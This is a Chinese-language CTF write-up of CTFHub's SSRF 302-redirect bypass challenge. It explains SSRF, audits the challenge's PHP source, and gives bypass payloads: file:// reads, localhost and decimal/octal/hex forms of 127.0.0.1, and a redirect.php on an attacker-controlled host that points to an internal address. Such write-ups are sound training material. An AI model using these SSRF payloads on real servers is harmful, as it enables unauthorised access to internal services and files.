目录
一、SSRF与302跳转
1、SSRF
2、302响应
3、SSRF与302结合
(1)SSRF源码分析
(2)攻击链条(Flow of Exploit)
二、渗透实战
1、打开靶场
2、尝试127.0.0.1访问
3、file协议分析源码
(1)flag.php
(2)index.php
4、分析绕过方法
(1)八进制表示
(2)十六进制表示
(3)十进制表示
(4)域名解析方式
(5)利用 302 跳转绕过
5、域名解析绕过法
6、数字IP绕过
(1)十进制绕过法
(2)八进制绕过法
(3)十六进制绕过法
7、302跳转法绕过
(1)搭建公网服务器环境
(2)构造302跳转绕过URL
(3)自动跟随跳转访问内网资源
本文通过CTFHub的SSRF 302跳转 bypass关卡的渗透实战,详细介绍了SSRF利用302跳转进行渗透测试的方法。首先解析了SSRF的原理及302响应的特点,重点阐述了通过结合两者绕过内网IP检测的攻击链:利用可控外部服务器返回302跳转,诱使目标服务器跟随重定向访问内网资源。通过靶场实践展示了四种绕过技术:1)域名解析法(使用localhost);2)数字IP转换法(八进制/十六进制/十进制表示);3)302跳转法(需公网服务器配合)。文章提供了完整的原理分析、代码审计和渗透步骤,并指出不同方法的适用场景,为SSRF利用提供了系统性的技术参考。
一、SSRF与302跳转
1、SSRF
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,迫使服务器发起非预期网络请求。其核心风险在于服务器可突破客户端浏览器限制,访问内网资源(如 127.0.0.1、私有 IP 段服务)、读取本地文件,甚至攻击第三方系统。
特点 | 具体说明 |
---|---|
发起主体 | 由服务器主动发起请求,非客户端(如浏览器) |
请求可控 | 攻击者构造请求参数,决定服务器的请求目标与内容 |
突破限制 | 可访问服务器内网资源(如 127.0.0.1) |
利用场景 | 常通过 URL 参数、文件上传等功能触发 |
核心风险 | 读取服务器本地文件、攻击内网服务、获取敏感信息 |
2、302响应
- 302用来做临时跳转302 表示临时性重定向,访问一个url时,被重定向到另一个url上。302常用于页面跳转,比如未登陆的用户访问用户中心,则重定向到登录页面。
- 301适合永久重定向,301比较常用的场景是使用域名跳转。比如,我们访问 http://www.baidu.com 会跳转到 https://www.baidu.com,发送请求之后,就会返回301状态码,然后返回一个location,提示新的地址,浏览器就会拿着这个新的地址去访问。
- 301重定向和302重定向的区别:302重定向只是暂时的重定向,搜索引擎会抓取新的内容而保留旧的地址,因为服务器返回302,所以,搜索搜索引擎认为新的网址是暂时的。而301重定向是永久的重定向,搜索引擎在抓取新的内容的同时也将旧的网址替换为了重定向之后的网址。
3、SSRF与302结合
(1)SSRF源码分析
一个存在SSRF风险的PHP应用程序。它有一个功能会接收用户输入的URL,并在服务器端使用cURL去请求这个URL,然后将结果返回给用户。
<?php
// 伪代码示例 (vulnerable.php)
$url = $_GET['url']; // 用户完全可控的参数
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); // 关键危险配置!自动跟随重定向
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
?>
-
攻击者资产: 一台完全由攻击者控制的外部Web服务器(假设为http://mooyuan.ljn.com/)。
-
内部资产: 目标服务器本身(
127.0.0.1:80
)上的一个敏感服务(/flag.php
)。
(2)攻击链条(Flow of Exploit)
假设我们拥有一个可控的服务器http://mooyuan.ljn.com/,根目录下的redirect.php内容如下所示。
<?php
// http://mooyuan.ljn.com/redirect.php 的代码
header("Location: http://127.0.0.1/flag.php");
exit();
?>
-
诱使服务器发起请求: 攻击者向存在SSRF风险点的接口提交一个URL,这个URL指向攻击者自己的服务器(http://mooyuan.ljn.com/
redirect.php
)。 -
恶意重定向响应: 攻击者的服务器(http://mooyuan.ljn.com)上部署的
redirect.php
脚本,被请求时,会立即返回一个 HTTP 302 响应,其Location
头指向内网的目标资源(http://127.0.0.1/flag.php
)。 -
自动跟随跳转: 目标服务器上的cURL客户端(配置了
CURLOPT_FOLLOWLOCATION = TRUE
)在接收到302响应后,会自动地、不加验证地向Location
头指定的新地址(即内网的http://127.0.0.1/flag.php
)发起第二次请求。 -
访问内部资源: 由于这次请求是从服务器内网发起的(
127.0.0.1
就是本机),它成功绕过了网络边界防护,访问到了原本无法从外网直接访问的flag.php
。 -
数据回传:
flag.php
的输出内容被目标服务器的cURL获取,并最终返回给攻击者。攻击者从而窃取了内部敏感信息。
二、渗透实战
1、打开靶场
打开关卡如下所示,提示信息为“SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧”,提示本关卡有对IP地址进行检测,可利用302跳转来绕过过滤检测。点击打开题目,此时系统自动创建Docker环境,下图蓝色部分的URL地址就是靶场环境。
复制靶场链接(challenge-98a3792781086fb4.sandbox.ctfhub.com:10800)并访问,如下所示被重定向到了?url=_中,完整的URL链接如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=_
2、尝试127.0.0.1访问
构造Payload为?url=http://127.0.0.1/flag.php,尝试通关127.0.0.1访问页面,完整URL如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
通过浏览器访问如上链接后,页面提示“**“Hack ban Intranet IP”**”,说明该Payload触发了过滤机制,提示ip地址127.0.0.1是被禁止的ip地址,具体如下所示。
3、file协议分析源码
(1)flag.php
使用file协议获取flag其源码,构造payload为?url=file:///var/www/html/flag.php,完整URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
访问URL地址后,使用右键查看源代码,具体内容如下所示。
这段代码的核心逻辑是通过验证请求的客户端 IP 地址,只允许本地(127.0.0.1
)发起的请求获取 Flag,其他来源的请求会被拦截并提示。在 CTF 场景中,我们需要想办法让请求看起来像是来自 127.0.0.1
,比如利用 SSRF(服务器端请求伪造),让服务器自身去访问这个页面,从而绕过 IP 限制获取 Flag。
<?php
:这是 PHP 代码的起始标记,表明接下来的代码是 PHP 代码。error_reporting(0);
:error_reporting
函数用于设置 PHP 的错误报告级别。error_reporting(0)
表示关闭所有错误报告,这样在代码运行过程中即使出现错误,也不会在页面上显示错误信息,有助于隐藏可能存在的安全风险信息或调试信息。if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
:$_SERVER
是 PHP 的一个超全局变量,包含了诸如头信息、路径、脚本位置等服务器相关的信息。$_SERVER["REMOTE_ADDR"]
用于获取发起当前请求的客户端的 IP 地址。- 这里的条件判断是:如果发起请求的客户端 IP 地址不等于
127.0.0.1
(本地回环地址,代表服务器自身)。
echo "Just View From 127.0.0.1";
:如果上述条件成立(即请求不是来自127.0.0.1
),就会在页面上输出字符串 “Just View From 127.0.0.1”。exit;
:输出提示信息后,执行exit
函数,终止当前脚本的执行,后续的代码(输出 Flag 的部分)不会再执行。echo getenv("CTFHUB");
:如果请求来自127.0.0.1
,则执行这一行代码。getenv
函数用于获取环境变量的值,这里是获取名为 “CTFHUB” 的环境变量的值,并将其输出到页面上,这个值通常就是我们要获取的 Flag
(2)index.php
使用file协议获取flag其源码,构造payload为?url=file:///var/www/html/index.php,完整URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
通过file协议访问URL地址后,使用右键查看源代码,具体内容如下所示。
这段代码的主要功能是:接收一个 url
参数,首先检查该参数是否存在,若存在则重定向;然后检查 url
中是否包含内网 IP 相关的字符串,若包含则禁止访问;如果通过检查,就使用 cURL 向该 url
发送请求,并自动跟随重定向。整体是为了限制对特定内网地址的访问,同时实现对合法外部 URL 的请求转发。
<?php
:PHP 代码的起始标记,表明后续是 PHP 代码。error_reporting(0);
:设置 PHP 的错误报告级别为 0,即关闭所有错误报告。这样在代码运行过程中,即使出现错误,也不会在页面上显示错误信息,有助于隐藏潜在的安全风险信息或调试信息。if (isset($_REQUEST['url'])) {
:isset()
函数用于检测变量是否设置且不为NULL
。$_REQUEST
是 PHP 的超全局变量,它包含了$_GET
、$_POST
和$_COOKIE
的内容,这里是检测是否存在名为url
的请求参数。- 如果存在
url
参数,就执行下面的header
重定向和exit
操作。
header("Location: /?url=_");
:发送 HTTP 头部信息,将页面重定向到/?url=_
,这里的_
是一个占位符,可能是为了初始化或重置url
参数。exit;
:终止当前脚本的执行,后续代码不会再运行。$url = $_REQUEST['url'];
:获取请求中的url
参数的值,并将其赋值给变量$url
。if (preg_match("/127|172|10|192/", $url)) {
:preg_match()
函数用于执行正则表达式匹配。- 这里的正则表达式
/127|172|10|192/
用于检测$url
中是否包含127
、172
、10
或192
这些字符串。 - 这些数字是常见的内网 IP 段(
127.0.0.0/8
是本地回环地址段,172.16.0.0/12
、10.0.0.0/8
、192.168.0.0/16
是私有 IP 地址段)。如果$url
中包含这些字符串,说明可能是要访问内网地址。
exit("hacker! Ban Intranet IP");
:如果检测到$url
中包含内网 IP 相关的字符串,就输出 “hacker! Ban Intranet IP” 并终止脚本执行,禁止访问内网地址。$ch = curl_init();
:初始化一个 cURL 会话,$ch
是 cURL 句柄。curl_setopt($ch, CURLOPT_URL, $url);
:设置 cURL 会话的 URL 选项,将请求的 URL 设置为前面获取到的$url
。curl_setopt($ch, CURLOPT_HEADER, 0);
:设置 cURL 选项,CURLOPT_HEADER
为 0 表示在输出中不包含 HTTP 头部信息。curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
:设置CURLOPT_FOLLOWLOCATION
为 1,开启 cURL 的自动跟随重定向功能。当请求的 URL 发生重定向(如返回 301、302 状态码)时,cURL 会自动跟随到新的 URL 继续请求。curl_exec($ch);
:执行 cURL 会话,向设置的$url
发送请求,并获取响应结果(不过这里没有对响应结果进行处理,只是执行请求)。curl_close($ch);
:关闭 cURL 会话,释放相关资源。
4、分析绕过方法
源码通过正则表达式 "/127|172|10|192/"
匹配 URL 中是否包含常见的内网 IP 段字符串。但可以使用一些特殊的 IP 表示形式来绕过该正则检测:
(1)八进制表示
将 IP 地址转换为八进制形式。例如,127.0.0.1
可以转换为 0177.0000.0000.0001
,因为在八进制中,177
等于十进制的 127
,0000
等于十进制的 0
。不过需要注意,不同系统对八进制 IP 地址的支持情况可能不同。
(2)十六进制表示
把 IP 地址转换为十六进制。127.0.0.1
对应的十六进制是 0x7F000001
,可以尝试将 URL 中的目标 IP 地址以这种形式呈现,可能会绕过正则检测。
(3)十进制表示
把 IP 地址转换为十进制。127.0.0.1
对应的十进制是 2130706433,可以尝试将 URL 中的目标 IP 地址以这种形式呈现,可能会绕过正则检测。
(4)域名解析方式
利用 localhost
,它默认会解析到 127.0.0.1
,如果代码没有对域名解析做额外限制,那么使用 http://localhost/
作为目标 URL 就可能绕过正则对 127
开头的检测。还可以利用一些特殊的 DNS 解析服务,将特定域名解析到内网 IP 地址,然后在请求 URL 中使用这个域名 。
(5)利用 302 跳转绕过
如果存在一个可控制的外部服务器, 可以在该服务器上设置 302 跳转,让其跳转到内网地址。然后在目标 PHP 代码请求这个外部服务器的 URL 时,会跟随 302 跳转访问到内网地址。比如,在自己控制的服务器上编写一个简单的脚本,当接收到请求时,返回一个 302 状态码,并且在 Location
头部指定要访问的内网地址(如 http://127.0.0.1/flag.php
),再将这个外部服务器的 URL 作为 url
参数传递给目标 PHP 代码。由于目标代码开启了 CURLOPT_FOLLOWLOCATION
选项,会自动跟随 302 跳转,从而间接访问到内网资源 。
综上,根据本靶场的题目“302跳转绕过”可以分析出来,利用302跳转绕过这个方法应该就是本关卡靶场的作者希望可以使用的渗透方法,但是目前我还没有外网可控服务器,这部分我只是给出渗透的步骤,并没能给出真实渗透的截图,后续有条件会更新第7步的渗透实战过程。条条大路通罗马,本篇文字使用域名解析法和3种数字IP绕过法来进行渗透,一共4种方法来实现渗透获取flag值。
5、域名解析绕过法
将?url=http://127.0.0.1/flag.php替换为?url=http://localhost/flag.php,用localhost代替127.0.0.1,完整的URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://localhost:80/flag.php
或
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://localhost/flag.php
如下所示,成功获取到flag值。因为源码分析中正则仅检测url
中是否包含127
、172
、10
、192
这些字符串(均为内网 IP 段特征),但没有限制localhost
这个关键词。而localhost
是域名系统中指向本地回环地址(127.0.0.1
)的特殊域名,其字符串中不包含上述被拦截的数字,因此能直接通过正则检测。
6、数字IP绕过
(1)十进制绕过法
我们可以把127.0.0.1转化为十进制形式进行绕过,使用在线进制转换工具对127.0.0.1进行进制转换,运行结果如下所示,127.0.0.1转换为十进制值为2130706433。
若需手动验证,按以下步骤计算127.0.0.1对应的十进制值。
- 将 IP 的 4 个段(127、0、0、1)分别转为 8 位二进制:
127 → 01111111,0→00000000,0→00000000,1→00000001; - 拼接为 32 位二进制数:
01111111000000000000000000000001
; - 将 32 位二进制转为十进制:
01111111000000000000000000000001
= 2130706433。
使用?url=http://2130706433:80/flag.php来替换?url=http://127.0.0.1/flag.php,完整URL地址如下所示。
challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://2130706433:80/flag.php
将构造好的 URL 复制到浏览器地址栏,按下回车发送请求,此时服务器会自动将 “2130706433” 解析为 127.0.0.1,绕过黑名单拦截(检查url
参数中是否包含 127
、172
、10
、192
这些常见的内网 IP 段特征字符串),如下所示已经成功获取flag,渗透成功。
(2)八进制绕过法
我们可以把127.0.0.1转化为八进制形式进行绕过,使用在线进制转换工具对127.0.0.1进行进制转换,运行结果如下所示,127.0.0.1转换为八进制值为0177.0000.0000.0001。
使用?url=http://0177.0000.0000.0001/flag.php来替换?url=http://127.0.0.1/flag.php,完整URL地址如下所示。
challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://0177.0000.0000.0001/flag.php
将构造好的 URL 复制到浏览器地址栏,按下回车发送请求,此时服务器会自动将 “2130706433” 解析为 127.0.0.1,绕过黑名单拦截(检查url
参数中是否包含 127
、172
、10
、192
这些常见的内网 IP 段特征字符串),如下所示已经成功获取flag,渗透成功。
(3)十六进制绕过法
我们可以把127.0.0.1转化为十六进制形式进行绕过,使用在线进制转换工具对127.0.0.1进行进制转换,运行结果如下所示,127.0.0.1转换为十六进制值为0x7F000001。
使用?url=http://0x7F000001/flag.php来替换?url=http://127.0.0.1/flag.php,完整URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://0x7F000001/flag.php
将构造好的 URL 复制到浏览器地址栏,按下回车发送请求,此时服务器会自动将 “0x7F000001” 解析为 127.0.0.1,绕过黑名单拦截(检查url
参数中是否包含 127
、172
、10
、192
这些常见的内网 IP 段特征字符串),如下所示已经成功获取flag,渗透成功。
7、302跳转法绕过
(1)搭建公网服务器环境
在自己控制的公网服务器(如 VPS)上创建跳转脚本(以 PHP 为例),假设我们拥有一个可控的服务器,网站根目录下创建redirect.php文件,其内容如下所示。
<?php
// 当目标系统请求此脚本时,返回302重定向
header("Location: http://127.0.0.1/flag.php");// 要访问的内网地址
exit();
?>
- 脚本功能:接收请求后,立即返回 302 状态码,告诉客户端(目标系统的
curl
)" 请跳转到http://127.0.0.1/flag.php
"。 - 部署:将脚本上传到公网服务器,确保可通过
http://你的服务器域名/redirect.php
访问
(2)构造302跳转绕过URL
使用?url=http://你的服务器域名/redirect.php通过302跳转访问http://127.0.0.1/flag.php,完整URL地址如下所示。
http://challenge-98a3792781086fb4.sandbox.ctfhub.com:10800/?url=http://你的服务器域名/redirect.php
向目标系统发送包含外部跳转脚本的请求,此时url
参数的值是外部服务器地址(如http://attacker.com/redirect.php
),不包含127
等内网特征字符串,直接通过正则检测。
(3)自动跟随跳转访问内网资源
访问向目标系统发送包含外部跳转脚本的请求: 目标服务器上的cURL客户端(配置了 CURLOPT_FOLLOWLOCATION = TRUE
)在接收到302响应后,会自动地、不加验证地向 Location
头指定的新地址(即内网的 http://127.0.0.1/flag.php
)发起第二次请求。由于这次请求是从服务器内网发起的(127.0.0.1
就是本机),它成功绕过了网络边界防护,访问到了原本无法从外网直接访问的 flag.php
。
- 目标系统的
curl
解析url
参数,向http://你的服务器域名/redirect.php
发送请求。 - 外部服务器返回 302 响应,
Location
为http://127.0.0.1/flag.php
。 - 由于
CURLOPT_FOLLOWLOCATION = 1
,curl
自动跟随重定向,向127.0.0.1/flag.php
发送请求。 - 此时访问的是内网地址,但由于跳转发生在
curl
内部,目标系统的正则检测仅针对初始url
参数(已通过),无法拦截后续跳转,最终获取到内网资源(如 Flag)。